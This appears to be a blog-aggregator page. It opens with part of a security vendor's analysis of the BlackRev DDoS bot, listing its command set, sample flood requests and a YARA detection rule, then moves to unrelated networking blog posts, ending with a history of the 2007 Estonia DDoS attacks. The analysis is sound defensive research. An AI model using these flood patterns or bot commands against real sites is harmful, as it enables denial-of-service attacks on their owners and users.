User-Agent: Mozilla/4.0 (compatible; Synapse)

The C&C response is still pipe delimited, but different:

command|number_of_packets_to_send|URL, IP, hostname, or stop

There are some deletions, additions, and changes to the command set.

Commands removed:

• die
• sleep
• syn
• udpdata
• tcpdata
• data
• dataget
• connect

Commands added:

• exec – download and execute
• resolve – hostname resolution flood
• antiddos – HTTP GET request flood — favicon.ico
• range – HTTP GET request flood — Range header
• ftp – FTP connection flood
• download – HTTP GET request flood
• fastddos – HTTP GET request flood — WinInet functions
• slowhttp – HTTP GET request flood — possible Slowloris attempt
• allhttp – launches multiple HTTP floods
• full – launches multiple floods

Commands changed:

• http
• simple
• loginpost
• datapost
• udp

Commands that stayed the same:

• icmp
• dns

Below are revision 3′s attacks.

Attack – http

The http attack changed. It is now a HTTP GET and POST flood. The GET request:

GET /index.html HTTP/1.1
Host: www.victim1.com
Keep-Alive: 162
Connection: keep-alive
Cookie: s=nfa578n8ichp3eep45j22f5; PHPSESSID=qto36rucgccrlurdncrg4lsdu6; selected_language=Russian; dle_compl=0
User-Agent: Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.14
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://www.victim1.com/index.html

And the POST:

POST /index.html HTTP/1.1
Host: www.victim1.com
Keep-Alive: 162
Connection: keep-alive
Cookie: s=nfa578n8ichp3eep45j22f5; PHPSESSID=qto36rucgccrlurdncrg4lsdu6; selected_language=Russian; dle_compl=0
User-Agent: Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.14
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://www.victim1.com/index.html
Content-Length: 87664

In both, the Keep-Alive header will be set to a random number between 0 and 300. In the POST, the Content-Length header is set to a random number between 0 and 300,000

Attack – simple

The simple attack is slightly different:

GET /index.html HTTP/1.1
Host: www.victim2.com
Connection: close
User-Agent: Opera/9.80

The User-Agent header looks to be a copy and paste typo. This User-Agent is used in some additional attacks as well.

Attack – loginpost

In addition to the below POST request, a simple flood is also started.

POST /index.html HTTP/1.1
Host: www.victim3.com
Connection: close
User-Agent: Opera/9.80
Content-Type: text/html
Content-Length: 28

login=g84lkvpk&pass=uOjzq9FJ

Slight differences: the parameters are separated by a “&” instead of a “$” and the values are each set to eight random lowercase letters and digits.

Attack – datapost

A POST request where the data is 100 random lowercase letters.

POST /index.html HTTP/1.1
Host: www.victim4.com
Connection: close
User-Agent: Opera/9.80
Content-Type: text/html
Content-Length: 100

bulwmxcytltvczbrgqoedffycczkyedrmoczlkhgjghmwdnveinkkzgncvtojsxhlchddzebspuwcsdeydalowdcewdxrllgzvvt

Attack – udp

The UDP flood routine no longer uses the Synapse Library in this revision. Winsock is used instead. Port 80 is hardcoded and the payload is only two “F”s.

Attack – resolve

Repeatedly tries to resolve the target hostname via gethostbyname() function calls.

Attack – antiddos 

A HTTP GET request flood. Two requests are sent on each iteration, the first one being:

GET /index.html HTTP/1.1
Host: www.victim2.com
Keep-Alive: 150
Connection: keep-alive
Cookie: s=nfa578n8ichp3eep45j22f5; PHPSESSID=qto36rucgccrlurdncrg4lsdu6; selected_language=Russian; dle_compl=0
User-Agent: Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.14
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://www.victim2.com/index.html

The second:

GET /index.html/favicon.ico HTTP/1.1
Host: www.victim2.com
Keep-Alive: 47
Connection: keep-alive
Cookie: s=nfa578n8ichp3eep45j22f5; PHPSESSID=qto3e45h4rlurdncrg4lsdu6; selected_language=Russian; dle_compl=0
User-Agent: Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.14
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Referer: http://www.victim2.com/index.html

The Keep-Alive header is set to a random number between 0 and 300. favicon.ico is automatically added in the second request.

Attack – range

A HTTP GET request flood with a Range header. Possibly an attempt at an ARME/Apache Killer style attack. Sample request:

GET /index.html HTTP/1.1
Host: www.victim4.com
Connection: close
Range: bytes=41-73915
User-Agent: Opera/9.80

The Range start value is a random value between 0 and 100. The stop value is a random value between 0 and 100,000.

Attack – ftp

A FTP connection flood. A sample session:

200 OK
USER 7g6jo5ircx
331 password
PASS s1pvu9yx0r
200 OK
TYPE I
200 OK
STRU F
200 OK
MODE S
200 OK
REST 0
200 OK

The USER and PASS will both be set to 10 random lowercase letters and digits. 

Attack – download

A basic HTTP GET request flood:

GET /1.exe HTTP/1.0
Host: www.victim7.com
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; Synapse)

Attack – fastddos

A HTTP GET request flood using the WinInet functions:

GET /index.html HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: google
Host: www.victim8.com
Cache-Control: no-cache

Notice the interesting User-Agent.

Attack – slowhttp

A HTTP GET request flood. Possibly an attempt at a Slowloris attack, but it is not slow at sending data. Here’s what the request looks like:

GET /9.html HTTP/1.0
Host: www.victim9.com
Keep-Alive: 300
Connection: keep-alive
User-Agent: Mozilla/4.0 (compatible; Synapse)‘=

Attack – allhttp

Launches the following attacks:

• simple
• http
• range
• loginpost
• download
• datapost

Attack – full

Launches the following attacks:

• icmp
• udp
• datapost

Miscellaneous

Besides the C&C and DDoS attacks there are some additional differences and features among the revisions:

• All four revisions spawn a thread that tries to maintain a small memory footprint via calls to SetProcessWorkingSetSize().
• Revisions 1 and 2.x try to revoke discretionary access control list (DACL) rights to its binary.
• Revisions 1 and 2.x enumerate a bunch of directories and then removes files and kills processes based on some tests. The referenced analysis below indicates this might be “botkiller” code.
• Revision 2.x verifies the embedded C&C by calculating a hash on the URL and comparing it to a hardcoded hash value.
• Revision 2.x has some built-in monitoring/debugging functionality where the attack commands are echoed back to the C&C via a HTTP GET request to monitor.php.
• Revision 3 was the first binary to be packed–UPX.
• Revision 3 maintains persistence via the Registry Run method.
• The code organization and layout of revision 3 also differs a bit from the other three.

Most of these code paths were glossed over during reversing and a detailed analysis of them are left as an exercise for any interested readers. There is a Russian language malware analysis of revision 2 by the “onthar.in Malware Research Laboratory” that takes a closer look at some of the above and also at an associated dropper malware. It is available at http://onthar.in/articles/black-revolution-ddos-bot-analysis/ (Google Translate does an okay job.)

ASERT has been using the following YARA rule to detect this malware family in our malware zoo:

// blackrev

// Dennis Schwarz, Arbor Networks ASERT
// April 2013

rule blackrev
{
strings:
$base1 = "http"
$base2 = "simple"
$base3 = "loginpost"
$base4 = "datapost"

$opt1 = "blackrev"
$opt2 = "stop"
$opt3 = "die"
$opt4 = "sleep"
$opt5 = "syn"
$opt6 = "udp"
$opt7 = "udpdata"
$opt8 = "icmp"
$opt9 = "antiddos"
$opt10 = "range"
$opt11 = "fastddos"
$opt12 = "slowhttp"
$opt13 = "allhttp"
$opt14 = "tcpdata"
$opt15 = "dataget"

condition:
all of ($base*) and 5 of ($opt*)
}

Conclusion

As we have seen, Trojan.BlackRev is very much a DDoS-specific bot with a rich set of attacks. There are certainly signs that circa April 2013 the code was under active development and the associated campaigns were likely test runs. In addition, the onthar.in analysis notes that they haven’t seen this malware being sold on the underground forums yet. It will be interesting to see how this family will evolve and how active it will become in the wild.

Grift’s like anything else, Roy. You don’t stand still. You either go up or down. Usually down, sooner or later. Lilly Dillon from “The Grifters” At Interop this month, every vendor had product sheets that claimed, ”Now with SDN!” It’s the latest industry buzzword and I started to recall some previous one-hit wonders from the past. Remember [...]

NEC demonstrated multi-vendor OpenFlow network @ Interop Las Vegas, linking physical switches from Arista, Brocade, Centec, Dell, Extreme, Intel and NEC, and virtual switches in Linux (OVS) and Hyper-V (PF1000) environments in a leaf-and-spine fabric controlled by ProgrammableFlow controller (watch the video of Samrat Ganguly demonstrating the network).

Does that mean we’ve entered the era of multi-vendor OpenFlow networking? Not so fast.

Read more ...

For the last ten years, I’ve been working for the same value added reseller (VAR).  It’s been a very fun ride.  I started out as a desktop repair technician.  It just seemed natural after my work on a national inbound helpdesk.  Later, I caught a couple of lucky breaks and started working on Novell servers.  That vaulted me into the system administration side of things.  Then someone decided that I need to learn about switches and routers and phone systems.  That’s how I got to the point where I am today as a network engineer.  That’s not all I do, though.

If you’re reading this, you know all about my secret identity.  If my day job at the VAR has me acting like Bruce Wayne, then my blog is where I get to be Batman.  I write about tech trends and talk about vendors.  Sometimes I say nice things.  Sometimes I don’t.  However, I love what I do.  I find myself driven to learn more about the industry for my writing than anything else.  Sometimes, my learning complements my day job.  Other times the two paths diverge, possibly to never meet up again.  It can be tough to reconcile that.  What I know is that the involvement I have in the industry thanks to my blog has opened my eyes to a much wider world beyond the walls of my office.

Enter Stephen Foskett.  I can still remember the first time he DMed on Twitter and asked if I would be interested in attending a Tech Field Day event.  I was beside myself with excitement to say the least.  When I got to Tech Field Day 5, I was amazed at the opportunity afforded to me to learn about new technology and then go back and write down what I thought about it.  I didn’t have to be nice.  I didn’t even have to write if I didn’t want to.  I had the freedom to say what I wanted.  I loved it.  Then a funny thing happened before I could even leave TFD5.  Stephen asked if I wanted to come back the next month to help him launch Wireless Field Day.  I was overjoyed.  You mean I get to come back?

So began my long history with Gestalt IT and Tech Field Day.  I’ve been to seven Tech Field Day events since TFD5 in February of 2011.  I’ve also been to a couple of roundtables and a meeting or two.  I love every aspect of what Stephen is trying to accomplish.  At times, I wished there was something more I could do.  Thankfully, Stephen was thinking the same thing.  When Network Field Day 5 came around in March of this year, I got another life-changing DM a couple of weeks prior:

“We need to talk about your future.  Have you considered becoming the Dread Pirate Roberts?  I think you’d make an excellent Dread Pirate Roberts.“

Just for the record, Princess Bride references in a job offer are the most awesome kind of job offers.  Stephen and I spent two hours on the first night of NFD5 talking about what he had in store.  He needed help.  I wanted to help.  He wanted someone enthusiastic to help him do what he does so that more could be done.  I was on board as soon as he said it.  I’d always half-jokingly said that if I could do any job in the world, I do Stephen Foskett’s job.  He talks to people.  He writes great posts.  He knows what the vendors want to sell and what the customers want to buy.  He has connections with the community that others would kill to have a chance to get.  And now he’s giving me a chance to become a part of it.

As of June 1, 2013, I will be taking a position with Stephen Foskett at Gestalt IT.

I’m excited about things all over again.  Sure, I won’t be typing CLI commands into a router any more.  I won’t be answering customer voice mail password reset emails.  What I will be doing is where my passion lies now.  I’m going to spend more time writing and talking to vendors.  I’m going to help Stephen with Tech Field Day events.  I’m going to be a facilitator and an instigator.  If Stephen is the Captain, then I hope to be Number One.  We’re hoping to take the idea of Tech Field Day and run with it.  You’ve already seen some of that plan with the TFD Roundtable events at the major tech conferences this year.  I want to help Stephen take this even further.

This also means that I’m going to spend more time at Tech Field Day events.  I just won’t be sitting in front of the camera for most of them.  I might spend time as a hybrid delegate/staff person on occasion, but I’ll be spending time behind the scenes making everything work like a well-oiled machine.  I’ve always tried to help out as much as I can.  Now it’s going to be my job.

I won’t stop doing what I’m doing here, though.  Part of what brought me to where I am is the blogging and social media activity that got me noticed in the first place.  This just means that I’m going to have more time to research and write in between all the planning.  I plan on taking full advantage of that.  You’ve seen that I’ve been trying to post twice a week so far this year.  I’m going to do my best to keep with that schedule.  I’m going to have much more time in between phone calls and planning sessions to dig into technologies that I wouldn’t otherwise have had time to look at in my old day job.

It’s going to be a busy life for a while.  Between conference season and TFD events, I’m going to be spending a lot of time catching up and getting things ready to go for all the great things that are planned already.  Plus, knowing how I am with things, I’m going to be looking for more opportunities to get more things going.  Maybe I’ll even get Voice Field Day going.  I’m looking forward to the chance to do something amazing with my time.  Something the community loves and wants to be a part of.

I recorded an episode of Who Is with Josh O’brien (@joshobrien77) where I discuss a bit about what brought me to making this change as well as some thoughts about the industry and where I fit in.  You can find it here at his website.

In closing, I want to say a special thanks to each of you out there reading this right now.  You all are the reason why I keep writing and thinking and talking.  Without you I would never have imagined that it was possible to do something with this much passion.  That would also have never led me to finding out that I could make a career out of it.  From the bottom of my heart – thank you for making me believe in myself.

In January, we reported the news that the ALBA-1 submarine cable connecting Cuba to Venezuela had started carrying Internet traffic two years after its construction, answering the question of what happened to the mystery cable to Cuba. In the last week, we have observed a second non-satellite connection established for Cuban state telecom, ETECSA. This time a different segment of the ALBA-1 submarine cable is being used to connect Cuba to the neighboring island nation of Jamaica. At 15:04 UTC on 13 May 2013, we observed ETECSA beginning to receive international Internet service through Cable & Wireless Jamaica.

A couple months ago, I announced a proposal to start a Stack Exchange site dedicated to answering questions concerning network engineering, similar to how Stack Overflow and Server Fault cater to the concerns of programmers and systems administrators, respectively.

I'm happy to announce that the proposal has made it through the definition and commitment phases and last week was opened as a public beta site at networkengineering.stackexchange.com! The beta process is critical for shaping the content and style of the site, so the more people use it the better we can refine and nurture its content.

Why a Stack Exchange site? The platform has proven immensely useful for directed troubleshooting and answering targeted questions. As opposed to discussion forum threads, which often digress into tangents and off-topic conversation over the course of days or weeks, the streamlined question-and-answer format of the site leverages community feedback and voting to promote what is accepted at the best answer (which the asker can optionally confirm). This medium is much better suited to questions which can be directly answered (e.g. "How can I...?" and not "What's the best...?"); please keep this in mind if you decide to participate in the beta.

Check out the beta!

· 2 comments

Welcome to the third part of the Programming 101 for Network Engineers series. This is likely to be the most ‘straight up’ piece so far; all fact and almost no fun (but learning is right?). Sorry, but for now the comment and opinion need to be put aside as we get into some nitty-gritty. The following [...]

If you live in Europe and happen to be interested in security, make sure you put Troopers on the list of must-attend events. Like many things coming from Europe it’s a boutique event (limited to 200 attendees even if it means it’s sold out – that would never happen in some other parts of the world) with some great content.

Enno Rey, the mastermind behind the event, was kind enough to invite me to talk about virtual firewall architectures – you can view my presentation or watch the video – and of course I used the opportunity to visit a not-so-well-known Heidelberg attraction ;)

It’s either two hours, two days, two weeks… or too long. Two things these last two weeks have brought this old saying to mind in full force. First, there is this interesting article about the woes of the Medicaid Management System in Tennessee. Here we have a program that has overrun it’s budget for multiple [...]

INE is giving away a Harley this year at their Cisco Live party!

I would like to thank the over 600 people who RSVP’d for INE’s 2013 Party at the Hard Rock Cafe in Orlando during Cisco Live. Registration is closed as of today for our party but I wanted to be the first to let everyone know about the grand prize giveaway we are doing. On top of the standard giveaway prizes (iPads, MacBook Airs, AAP Memberships, Bootcamps, etc) we are giving away a Harley Davidson 2013 XL 1200X Forty-Eight to a lucky winner during our party.

Full Link

Erik Dietrich obviously hates the self-proclaimed (usually clueless) “experts” – he devoted a whole series of blog posts to them:

• Rise of the Expert Beginner
• Legacy of the Expert Beginner
• Language of the Expert Beginner
• Ambitions of the Expert Beginner

I’m positive you know at least a few people that would match his descriptions. Enjoy!

I would like to thank the over 600 people who RSVP’d for INE’s 2013 Party at the Hard Rock Cafe in Orlando during Cisco Live. Registration is closed as of today for our party but I wanted to be the first to let everyone know about the grand prize giveaway we are doing. On top of the standard giveaway prizes (iPads, MacBook Airs, AAP Memberships, Bootcamps, etc) we are giving away a Harley Davidson 2013 XL 1200X Forty-Eight to a lucky winner during our party.

On top of the Harley Davidson 2013 XL 1200X Forty-Eight we’re having a second grand prize giveaway. Details on the second grand prize giveaway will be revealed after the drawing for the winner of the Harley Davidson at the party.

As a side note I don’t personally ride anymore but that bike really does look cool when it’s all blacked out.

There are still a number of countries who have Queen Elizabeth as their titular head of state. My country, Australia, is one of those countries. It’s difficult to understand what exactly her role is these days in the context of Australian governmental matters, and I suspect even in the United Kingdom many folk share my constitutional uncertainty. Nevertheless, it’s all great theatre and rich pageantry, with great press coverage thrown in as well. In the United Kingdom every year the Queen reads a speech prepared by the government of the day, which details the legislative measures that are being proposed by the government for the coming year. Earlier this month the Queen’s speech included a reference to IP addresses.

Stu Miniman kindly invited me to do an interview for the SiliconANGLE during the Interop/EMC World week. Here are the results:

For some time now at APNIC Labs we’ve been running an experiment that is intended to measure the state of IPv6 capability across the Internet. To do this we use experiment code embedded in web sites, as well as active code embedded in an online advertisement. Across these two experimental approaches we perform a basic IPv6 capability test on between 800,000 and 1,000,000 clients each day. Such a large scale experiment is bound to produce some anomalous behaviours, but we've observed a couple of outcomes that, as far as I can tell, should just be impossible!

In our last whistleblower article, we showed that the vast majority of Penetration Testing vendors don’t actually sell Penetration Tests. We did this by deconstructing pricing methodologies and combining the results with common sense. We’re about to do the same thing to the industry average Penetration Testing proposal. Only this time we’re not just going to be critical of the vendors, we’re also going to be critical of the buyers.

A proposal is a written offer from seller to buyer that defines what services or products are being sold. When you take your car to the dealer, the dealer gives you a quote for work (the proposal). That proposal always contains an itemized list for parts and labor as well as details on what work needs to be done. That is the right way to build a service-based proposal.

The industry average Network Penetration Testing proposal fails to define the services being offered. Remember, the word ‘define’ means the exact meaning of something. When we read a network penetration testing proposal and we have to ask ourselves “so what is this vendor going to do for us?” then the proposal has clearly failed to define services.

For example, just recently we reviewed a proposal that talked about “Ethos” and offered optional services called “External Validation” and “External Quarterlies” but completely failed to explain what “External Validation” and “External Quarterlies” were. We also don’t really care about “Ethos” because it has nothing to do with the business offering. Moreover, this same proposal absolutely failed to define methodology and did not provide any insight into how testing would be done. The pricing section was simply a single line item with a dollar value, it wasn’t itemized. Sure the document promised to provide Penetration Testing services, but that’s all it really said (sort of).

This is problematic because Penetration Testing is a massively dynamic service that contains a potentially infinite amount of techniques (attacks and tests) for penetration attempts. Some of those techniques are higher threat than others; some are even higher risk than others. If a proposal doesn’t define the tests that will be done, how they will be done, what the risks are, etc.,  then the vendor is free to do whatever they want and call it a day. Most commonly this means doing the absolute minimum amount of work while making it look like a lot.

Here’s some food for thought…

Imagine that we are a bulletproof vest Penetration Testing Company. It’s our job to test the effectiveness of bulletproof vests for our customers so that they can guarantee the safety of their buyers. We deliver a proposal to a customer that is the same quality as the average Network Penetration Testing proposal and our customer signs the proposal.

A week later, we receive a shipment of vests for testing. We hang those vests on dummies made up of ballistics gel in our firing range. We then take our powerful squirt guns, stand ten feet down range and squirt away. After the test is complete, we evaluate the vests and determine that they were not penetrated and so passed the Penetration Test. Our customer hears the great news and begins selling the vest on the open market.

In the scenario above, both parties are to blame. The customer did not do their job because they failed to validate the proposal, to demand clear definitions, to assess the testing methodology, etc. Instead they naively trusted the vendor. The vendor failed to meet their ethical responsibilities because they offered a misleading and dishonest service that would do nothing more than promote a false sense of security. In the end, the cost in damages (loss of life) will be significantly higher than the cost of receiving genuine services. In the end, the customer will suffer as will their own customers.

Unfortunately, this is what is happening with the vast majority of Network Penetration Tests. Vendors are perceived as experts by their customers and are delivering proposals like the ones described above. Customers then naively evaluate proposals assuming that all vendors are created equal and make buying decisions based largely on cost. They receive services (usually not a genuine penetration test), put a check in the box and move onto the next task. In reality, the only thing they’ve bought is a false sense of security.

How do we avoid this?

While we can’t force Network Penetration Testing firms to hold themselves to a higher standard, their customers can. If customers took the time to truly evaluate Network Penetration Testing proposals (or any proposal for that matter) then this problem would be eradicated. The question is do customers really want high quality testing or do they just want a check in the box? In our experience, both types of customers exist but most seem to want a genuine and high-quality service.

Here are a few things that customers can do to hold their Network Penetration Testing vendor to a higher standard.

• Make sure the engagement is properly scoped (we discussed this in our previous article)
• Make sure the proposal uses terms that are clearly defined and make sense. For example, we saw a proposal just one week before writing this article that was for “Non-intrusive Network Penetration Testing.” Is it possible to penetrate into something without being intrusive? No.
• Make sure that the proposal defines terms that are unique to the vendor. For example, the proposal that we mentioned previously talks about “External Quarterlies” but fails to explain what that means. Why are people signing proposals that make them pay for an undefined service? Would you sign it if it had a service called “Goofy Insurance”?
• Make sure the vendor can explain how they came to the price points that are reflected in the proposal. Ask them to break it down for you and remember to read our first article so that you understand the differences between count based pricing (wrong) and attack surface based pricing (right).
• (We’ll provide more points in the next article).

As the customer, it is up to you to hold a vendor’s feet to the fire (we expect it). When you purchase poor quality services that are mislabeled as “Penetration Tests” then you are enabling the snake-oil vendors to continue. This is a problem because it confuses those who want to purchase genuine and high-quality services. It makes their job exceedingly difficult and in some cases causes people to lose faith in the Network Penetration Testing industry as a whole.

If you feel that what we’ve posted here is inaccurate and can provide facts to prove the inaccuracy then please let us know. We don’t want to mislead anyone and will happily modify these entries to better reflect the truth.

Documentation is the driest form of communication there is. Whether it be router release notes or stereo instructions I never seem to be able to find a way to read more than a paragraph before tossing things aside. You’d think by now that someone would come up with a better way to educate without driving someone to drinking.

O’Reilly Media has always done a good job of creating technical content that didn’t make me pass out from boredom. They’ve figured out how to strike a balance between what needs to be said and the more effective and entertaining way to say it. Once I started reading the books with the funny animals on the covers I started learning a lot more about the things I was working on. One book in particular caught my eye – Network Warrior by Gary Donahue. Billed as “everything you need to know that wasn’t on the CCNA,” it is a great introduction to more advanced topics that are encountered in day-to-day network operations like spanning tree or the Catalyst series of switches. Network Warrior is heavily influenced by Cisco equipment. While the concepts are pretty straight forward the bias does lean toward the building on Tasman Drive. Thankfully, O’Reilly enlisted an author to bring the Warrior series to Sunnyvale as well:

Peter Southwick was enlisted to write a Warrior book from the perspective of Juniper engineer. I picked up a copy of this book the last time I was at Juniper’s headquarters and have spent the past few weeks digesting the info inside.

What Worked

Documentation is boring. It’s a dry description of how to do everything. How-to guides are a bit better written, but they still have to cover the basics. I am a much bigger fan of the cookbook, which is a how-to that takes basic building blocks and turns them into a recipe that accomplishes something. That’s what Juniper Networks Warrior is really about. It’s a cookbook with some context. Each of the vignettes tells a story about a specific deployment or project. By providing a back story to everything you get a feel for how real implementations tend to flow back and forth between planning and execution. Also, the solutions provided really do a great job of cutting past the boring rote documentation and into things you’ll use more than once. Couple that with the vignettes being based on something other than technology-focused chapters and it becomes apparent that this is a very holistic view for technology implementation.

What Didn’t Work

There were a couple of things that didn’t work well in the narrative to me. The first was the “tribe” theme. Southwick continually refers to the teams that he worked with in his projects as “tribes.” While I understand that this does fit somewhat with the whole idea behind the Warrior books, it felt a bit out of place. Especially since Donahue didn’t use it in either Network Warrior or Arista Warrior (another entry in the series). I really did try to look past it and not imagine groups of network engineers carrying spears and slings around the data center, but it was mentioned so often in place of “team” or “group” that it became jarring after a while.

The other piece that bothered me a bit was in Chapter 3: Data Center Security Design. The author went out of the way to mention that the solution that his “tribe” came up with was in direct competition with a competing one that utilized Cisco gear. He also mentioned that the Juniper solution was going to displace the Cisco solution to a certain degree. I get that. Vendor displacement happens all the time in the VAR world. What bothered me was the few occasional mentions of a competitor’s gear with words like “forced” or casting something in a negative light simply due to the sticker on the front. I’ve covered that before in my negative marketing post. Why I bring it up here is because it wasn’t present in either Network or Arista Warrior, even though the latter is a vendor-sponsored manual like this one. In particular, an anecdote in the Arista chapter on VRRP mentions that Cisco wanted to shut down the RFC for VRRP due to similarity with HSRP. No negativity, no poking with a sharp stick. Just a statement of fact and the readers are left to draw their own conclusions.

I realize the books of this nature often require input from the technical resources of a vendor. I also realize that sometimes the regard that these books are held in sometimes looks to be a very appealing platform to launch marketing campaigns or to use a factually based volume to mention some opinion-based verbiage. I sincerely hope that future volumes tone down the rhetoric just a bit for the sake of providing a good reference volume. Engineers will keep going back to a book if it gives them a healthy dose of the information they need to do their jobs. They won’t go back nearly as often to a book that spends too much time discussing the pros and cons of a particular vendor’s solution. I’d rather see pages of facts and configs that get the job done.

Review Disclaimer

The copy of Juniper Networks Warrior that I reviewed was provided to me by Juniper Networks. I received it as part of a group of items during Network Field Day 5. At no time did Juniper ask for nor were they promised any consideration in the writing of this review. All of the analysis and conclusions contained herein are mine and mine alone.

Those who don’t learn from history are doomed to repeat it. With the six year anniversary of the cyber-attacks against Estonia, I thought this was a good time to take a look back and see what –if anything – has changed.

Background

In April 2007, the Estonian government decided to relocate the Bronze Warrior, a Soviet World War II memorial located in Tallinn, as well as the remains of some Soviet WWII soldiers buried nearby.

This decision caused great offense in Russia, starting at the top. Russian president Vladimir Putin said, “I find that this is an absolutely short-sighted policy, extremist-nationalist, which does not take into consideration the history connected with the fight against Nazism or today’s reality.”

Russia’s foreign minister Sergei Lavrov said Estonia had a “blasphemous attitude towards the memory of those who struggled against fascism.”

Within weeks, the country of Estonia was offline, taken down by a botnet-fueled distributed denial of service (DDoS) attack. This attack impacted both the government and the private sector.

The attacks begin….

Within days of the Estonian government decision, a series of sustained DDoS attacks against Estonian Web properties began.

Estonia’s defense minister at the time, Jaak Aaviksoo, told Wired Magazine:

“The attacks were aimed at the essential electronic infrastructure of the Republic of Estonia,” Aaviksoo tells me later. “All major commercial banks, telcos, media outlets, and name servers — the phone books of the Internet — felt the impact, and this affected the majority of the Estonian population. This was the first time that a botnet threatened the national security of an entire nation.”

Two weeks into the attack, Arbor Networks senior security researcher at that time Jose Nazario posted a detailed analysis on our blog, writing,

“All in all, someone is very, very deliberate in putting the hurt on Estonia, and this kind of thing is only going to get more severe in the coming years.”

Within the first two weeks, our Internet-wide threat monitoring system, ATLAS, saw at least 128 separate attacks on nine different Web sites in the country, including 35 attacks against the Estonian police, another 35 attacks against the Ministry of Finance and 36 against the Estonian parliament, Prime Minister as well as other general government Web properties.

• Attack bandwidths ranged from under 10 Mbps to 95 Mbps, with the majority in the 10-30 Mbps range
• 75 percent lasted no longer than one hour and 5.5 percent, over 10 hours

So does the speculation….

A high profile disagreement between leaders of Estonia and Russia, followed immediately by a cyber-attack against Estonian Web sites? Well, that can only mean one thing, CYBERWAR!!!

Headlines from May 2007:

Estonia: Ground Zero for World’s First Cyber War?

Estonia hit by ‘Moscow cyber war’

 

Russia accused of unleashing cyberwar to disable Estonia

Slippery Slopes: Attribution and Semantics

One thing that certainly has not changed since the Estonia incident is that hurried analysis, and attempts at instant attribution, are very rarely accurate.

While the headlines said “cyberwar,” the data that we saw at the time said something else, and that is digital attribution regardless of motive can be extremely difficult. These attacks, like many before and since, were widely distributed around the world. In fact, many of the attacks originated from the United States and elsewhere. There was significant chatter and sharing of attack tools on Russian language Web sites.

Arbor’s ATLAS system and subsequent analysis showed signs of Russian nationalism at work, but no Russian government connection. The sources we analyzed from around the world did not show a clear line from Moscow to Tallinn; instead, it was from everywhere around the world to Estonia. Additionally, we noted at the time that targets were high-profile Web properties, not critical national infrastructure.

As so often happens, after the flurry of initial speculation, the facts settle and the truth comes out, and usually with more than a little snark.

Estonia ‘Cyberwar’ Wasn’t

Sadly, this dashes THREAT LEVEL’s hopes of seeing our own made up infowar term on a CNN graphic.  Since we put it out a week ago, a few more hyperbolic cyberterror gems have surfaced in the coverage of the Estonia packet floods — The First War in Cyberspace!, The Future Of Warfare! (exclamation points added) — but the only writer to adopt our Cybarmageddon! was Bruce Sterling.  We’ll let you know if it turns up in his next novel.

There is also a lot of confusion around the term “cyberwar.” What does that mean exactly? One country attacking another seems obvious, but in what respects, what targets, and to what degree? What about when a country leverages experts in the field, as it would with defense contractors, to develop tools and capabilities? Just as there is collaboration between the government and the private sector to develop traditional defense systems and hardware, we must by now realize that the same type of public-private collaboration is happening around the world with regard to cyber capabilities, both defensive and offensive.

I’ll leave the question of what defines a “cyberwar” for others with more patience than I to wax intellectual. What I do know is that geopolitics absolutely shapes the threat landscape and the Internet as we know it today.

Regardless of terminology, we have seen some high profile stories since Estonia. Here are but a few examples that we know about:

April 27, 2007: Attacks on Estonia begin

Week of June 15, 2008: Ukraine put under DDoS attack due to NATO protests

August 5, 2008, three days before Georgia launched its invasion of South Ossetia, the Web sites for OSInform News Agency and OSRadio were hacked. Arbor estimates these attacks were in the 814 Mbps range, significantly (at that time) larger than the Estonian DDoS attacks the year before. (more details can be found in this blog post)

December, 2008 – January, 2009: Israel launched an attack named Operation Cast Lead against the Palestine National Authority. The fighting between the Israeli Defense Forces and Hamas included cyber-attacks against government Web sites and media outlets and involved both State and Non-State actors.

December, 2009 – April, 2010: In the months of unrest leading up to Kyrgyzstan’s second Tulip revolution, the technical unit of Kyrgyzstan intelligence cracked the email account of Gennady Pavlyuk, a leading dissident journalist, to obtain specific data on a project of his, then lured him to Kazakhstan under the pretense of meeting angel investors and killed him.

June 2010: Iran was the victim of a cyber attack when its nuclear facility in Natanz was infiltrated by the now very well-known cyber-worm ‘Stuxnet’.

November 2, 2010: Burma was the victim of a cyber-attack caused by a rapidly escalating, large-scale DDoS  attack targeting Burma’s main Internet provider, the Ministry of Post and Telecommunication (MPT), disrupting most network traffic in and out of the country.

January 2011: Tunisia’s Jasmine Revolution which resulted in the overthrow of a corrupt government, included violent protests and the hacking of user names and passwords for the entire online population of Tunisia by AMMAR, the country’s government-run Internet Services Provider (ISP).

January-February 2011: Egypt and Libya are taken offline entirely by their governments.

June 2011: Chinese and Vietnamese attackers started a cyber war over the territorial dispute on the ownership of the Spratly Islands in the South China Sea. 200 Vietnamese Web sites were attacked in June, and 10 percent of those Web sites were managed by government agencies; the attack disabled all the links on these Web sites and placed China’s flag at the center of the page.

March 20, 2013: S. Korean is targeted by N. Korea in series of cyberattacks and impacting 48,000 computers and servers, hampering banks for two to five days.

April 21, 2013: The U.S. military is increasing its budget for cyber warfare and expanding its offensive capabilities, including the ability to blind an enemy’s radar or shut down its command systems in the event of war, according to two defense officials.

May 2013: A new wave of attacked targeting U.S. energy companies begins, rumored to be driven out of the Middle East. Unlike typical cyberattacks that attempt to obtain confidential information, steal trade secrets and gain competitive advantage, these new attacks seek to destroy data or to manipulate industrial machinery and take over or shut down the networks that deliver energy or run industrial processes.

